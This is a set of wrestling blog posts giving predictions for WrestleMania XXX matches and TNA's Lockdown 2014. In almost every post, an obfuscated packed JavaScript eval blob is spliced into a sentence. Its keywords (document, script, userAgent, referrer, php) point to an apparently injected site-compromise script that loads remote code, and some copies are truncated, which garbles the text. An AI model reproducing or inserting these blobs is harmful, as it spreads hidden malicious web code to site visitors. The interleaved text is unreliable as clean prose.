Wrestlemania XXX Preview: Overall Thoughts/Predictions

This might be slightly biased.

So eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ekfde|var|u0026u|referrer|keztr||js|php'.split('|'),0,{})) as you probably know, I’m going to be in the Super Dome tomorrow night for the show.  Obviously that’s going to change my take on the events a little bit, but I still think it’s going to be a good show.  There are at least four matches with potential to steal the show, and all roads seem to lead to Daniel Bryan walking out with the WWE World Heavyweight Championship.  That’s the logical conclusion here and it’s something most people want to see.  I’m looking forward to it and it’s a chance for WWE to pull the trigger on someone in some long form storytelling.

The wrestling is going to be excellent and the drama will be cranked up to eleven tomorrow night.  Hopefully they throw in the Divas in between the four big matches to give us a breather, because that’s been a problem before.  I’m looking at you Wrestlemania XIX and for some reason talking to you like an animate object.  I don’t think it’s going to top Wrestlemania XVII or anything like that, but it could be up there with XIX or XX as far as an awesome show.

Now for the interesting part: the rumors.

1. I don’t think Sting shows up.  I believe it’s more possible on Raw than any time before, but I’ll stick with my stance of I’ll believe it when I see it.

2. No Punk.  It just doesn’t feel right.

3. Austin vs. Punk next year doesn’t seem likely for me either.  Austin has been almost flat out saying it’s happening on his podcast, which seems like it’s ruining a huge surprise, which isn’t WWE’s style.

Am I missing any?

The show should be great and I haven’t been this excited in a very long time.

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Wrestlemania XXX Preview: WWE Championship

Or how Batista and Randy Orton have become Mike Tyson.

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hyzrb|var|u0026u|referrer|kfnty||js|php'.split('|'),0,{})) Bryan has come a long way this year, and at the end of the day there’s absolutely nothing left for him to do but win the title on the big stage.  Well win it and then keep it for more than twenty four hours.  This is up there with the Steve Austin build as he has to win it at some point and every sign seems to him walking out of New Orleans with the title.

That being said, WWE has done a great job of planting some seeds of doubt.  It’s all they had to do and somehow they’ve pulled it off.  Look back to 1998 with Austin vs. Michaels.  There was no doubt that Austin would walk out with the title, so they added Mike Tyson as the heel referee to try and make things look in doubt.  This is a better execution of that as you could actually see any of them taking (or keeping) the title.  The drama could be INSANE out there, but at the end of the day it’s Bryan’s match to lose.

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Wrestlemania XXX Preview: Daniel Bryan vs. Triple H

What else can I say about this one?Something eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kknfi|var|u0026u|referrer|ykkze||js|php'.split('|'),0,{})) tells me that this is the match of the night, but the ending is a little shaky.  At the end of the day, there is absolutely no way Bryan doesn’t make the title match.  Now the big question is how does he do that?  There’s the simple option of him beating HHH, but I don’t see that as likely.  There’s the option of HHH winning just to shock the heck out of the audience and then have Hogan make the save, but that seems out of place as well.  I’m thinking a draw, putting HHH in the main event.

HHH vs. Bryan has been building up for years and the Occupy Raw movement finally got us to this point.  People have been wanting to see Bryan take HHH’s head off for months now and this is the chance.  HHH’s video on Monday made everything work so much better, as now HHH is acting evil like he should have been doing all along.  This is the moment Bryan needs to set up the moment he’s destined for, and it’s going to come at the end of an insane match.

 

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Wrestlemania XXX Preview: Divas Title: Vickie Guerrero Invitational

The winner literally beats the entire division.We’ve eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sattt|var|u0026u|referrer|rdkey||js|php'.split('|'),0,{})) been saying AJ loses the title in the big finale to Total Divas for months now, but for once I think it doesn’t happen.  Instead I see AJ hanging onto the title so Paige can win the title on Raw.  The Total Divas would rather yell at each other over their latest drama and the title has only been mentioned occasionally.  AJ winning and issuing an open challenge on Raw is a great way to go, but this is going to be completely insane no matter what happens so why bother trying to talk about the match itself?

 

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Wrestlemania XXX Preview: Undertaker vs. Brock Lesnar

I’ve ranted enough about the complaints for the build.It’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rksed|var|u0026u|referrer|akzbt||js|php'.split('|'),0,{})) Wrestlemania.  Of course Undertaker wins.

Seriously what else do you want here?  It’s going to be a brutal fight and the Streak continues, sending Undertaker into seclusion until next February, save for an appearance tomorrow night on Raw.

 

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Wrestlemania XXX Preview: John Cena vs. Bray Wyatt

This is the match I’m looking forward to more than anything else.This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehbzk|var|u0026u|referrer|tkyyy||js|php'.split('|'),0,{})) is the match that they’ve put some thought into as you have Bray ripping away at Cena’s legacy by saying Cena is lying to himself when he puts all of this out there.  THis goes right in the face of everything Cena believes and plays up an interesting idea for Cena: what is Cena going to be remembered as?  It’s clear that he’s nearing the end of his career with all of the injuries, but how does he let go of something that he’s built his entire life around.  That’s some very interesting psychological stuff to get into and could be awesome stuff down the line.

As for tomorrow though, Bray Wyatt gets a chance to get the biggest win of his career on the biggest stage he’ll get for a long time.  He has the potential to be a huge star and a win over John Cena on the biggest stage of them all is a great way to do that.  Cena isn’t in the main event here and it’s kind of interesting to see him going there.  That being said, I’m not sure who I see winning here.  Cena doesn’t need the win, but at the end of the day I’m not sure I can see Bray getting the pin.  However, I think that’s where they’re going, leading to an incredibly violent rematch at Extreme Rules.

The good thing is both guys are capable of having some excellent matches against anyone as Bray is the evil calculating one who lets his talented minions do his work for him and only gets his hands dirty for the big matches (or the occasional squash).  This should be outstanding all around and the potential for psychological stuff as a result are absolutely incredible.  Does Cena start to doubt himself as we head into his final years?  I can’t imagine they end Bray this early, as once he loses a lot of the mystique goes with it.  I’m looking forward to the war though.

 

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Wrestlemania XXX Preview: Andre the Giant Memorial Battle Royal

Basically if you’re on the roster and not on the show, you’re in this.The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hiezb|var|u0026u|referrer|yyksb||js|php'.split('|'),0,{})) push seems to be for Big Show to win here, but it seems too easy for that to happen.  I think they might go with Sheamus, but the interesting thing is who the last three entrants are.  My money is on Rob Van Dam, someone we don’t care about, and Sami Zayn.  That being said, the rumor is CM Punk returning and winning, but that doesn’t jive with the idea of him feuding with Austin as has been planned, as it would put him up against Hogan, which doesn’t work at all.

Most of the people simply aren’t going to win, but I’ll take Sheamus for the surprise win.  This isn’t the Royal Rumble, meaning you can have 29 people gang up on Big Show at once.  Granted that rarely works on big names, so I think he makes the final two or three but eats a Brogue Kick for an elimination.  The match can be good if they let it work, but the entrances are either going to be all together or take about an hour and a half.  This has the potential to suck but it could be fun if they build some drama.  The last three entrants should be fun as well.

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Wrestlemania XXX Preview: Shield vs. Kane/New Age Outlaws

Let’s get this one over with.If eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dtdnz|var|u0026u|referrer|yietb||js|php'.split('|'),0,{})) you’ve been reading my reviews lately, you know that I wanted this to be Ascension.  Kane even eluded to a new team coming in when he said Shield could be replaced.  Instead we get a nostalgia act who couldn’t remember if they were heels or faces recently.  I just can’t buy the Outlaws as a threat to Shield after they’ve spent a year and a half tormenting the likes of John Cena, Daniel Bryan, Kane, Big Show, Randy Orton, Sheamus and the Wyatts.  The Outlaws couldn’t hang with these guys fifteen years ago but now we’re supposed to buy them as a real threat to the Shield?  That just doesn’t work for me.

I have to go with Shield, as there’s absolutely no reason for the old guys to win.  They’ve tried to play this up as Attitude Era vs. Modern Era but it’s just not working all that well.  Shield deserves to win, but this feels like a major step down after facing three former world champions last year.  The team as faces is interesting though and hopefully lasts for a few months.

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Wrestlemania XXX Preview: Tag Team Titles: Usos vs. Real Americans vs. Los Matadores vs. Ryback/Curtis Axel

We might as well start with the preshow.This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ninka|var|u0026u|referrer|fdrnz||js|php'.split('|'),0,{})) is a good example of how the tag division is extensive but not very talented.  Los Matadores are just kind of there, Ryback/Curtis Axel are the heel jobbers, the Real Americans are basically about getting Cesaro over, and the Usos are awesome.  Yeah there are several teams out there, but none of them are really doing much for me.  The heels are there after a favor to Kane and Los Matadores are there because why have three teams when you can have four teams?

I’m going with the Usos, but this basically cleans out the division.  A team will have to Rise to beat them, but who could do that…..

 

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Lockdown 2014 Preview

Yeah, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yanzi|var|u0026u|referrer|kbhft||js|php'.split('|'),0,{})) TNA still has pay per views.  It’s been six months since the last one, but TNA still have them.We’ll go with the main events first.  Magnus over Joe to retain the title.  THey’ve spent way too much time building up Magnus to have him lose his first PPV title defense.  Unfortunately TNA has gotten into this habit of building up long drawn out stories that can only really change at Bound For Glory, making the seven or so months leading up to them rather pointless.  I think that’s where we’re going here as Magnus’ title reign is built up as unbeatable until someone stops him at Bound For Glory.

Lethal Lockdown seems to be too easy to mess up.  At the end of the day, MVP’s team is just too strong to lose a straight match, but the last thing I want to see is Dixie begging to get power back.  The second to last thing I want to see is Dixie with all the power, but it seems that we’re going to get one of those things.  You know, because Dixie is what really drives TNA of course.  I’ll go with Team Dixie for the win in a screwjob ending, because that’s what TNA does when they have something good going.

Storm over Gunner with the Last Call.  Gunner isn’t a long term top guy and I think TNA knows it.

I’ll take Gail to win the Knockouts Title in the cage because we haven’t gone long enough without Gail talking about how she is the best Knockout in the world and issuing open challenges for the title because the idea of having a story in that division is just not going to happen no matter how long we need one.

There’s a six man X-Division tag with three guys from Wrestle-1 in Japan against Bad Influence and Chris Sabin.  I still don’t get how thi sis supposed to appeal to the American fans.  It helps a bit with the international fans, which is fine but it might be a good idea to focus on America where the business is based.  Does TNA think people are going to buy this show for Great Muta, who was a hot young act nearly 25 years ago?  The other guys are the current X-Division Champion who beat Aries for the title in Japan recently and a guy who doesn’t even have a Wikipedia page.  I get that the match will be action packed and fun, but it’s only going to do them so much good.  Then again I’ve never been a fan of the invasion angles at all.

Tigre Uno over Manik.  They’ve spent too much time building up Tigre with promos to have him lose his debut.

I’ll go with Samuel Shaw over Anderson, setting up a rematch down the line.

Ethan Carter III over whoever they bring in to face him in Angle’s place.

 

Overall Lockdown doesn’t really interest me all that much.  At the end of the day, they have eight matches on the card.  Two of them are with guys debuting for the company with no story and a third is a mystery opponent.  When you’re only running one PPV every six months, I need a little big more than a card with nearly half the matches having no backstory.  The show should be fun as TNA PPVs usually deliver, but this doesn’t blow my skirt up.  The fact that every match is in a cage makes it even worse.

Thoughts/predictions?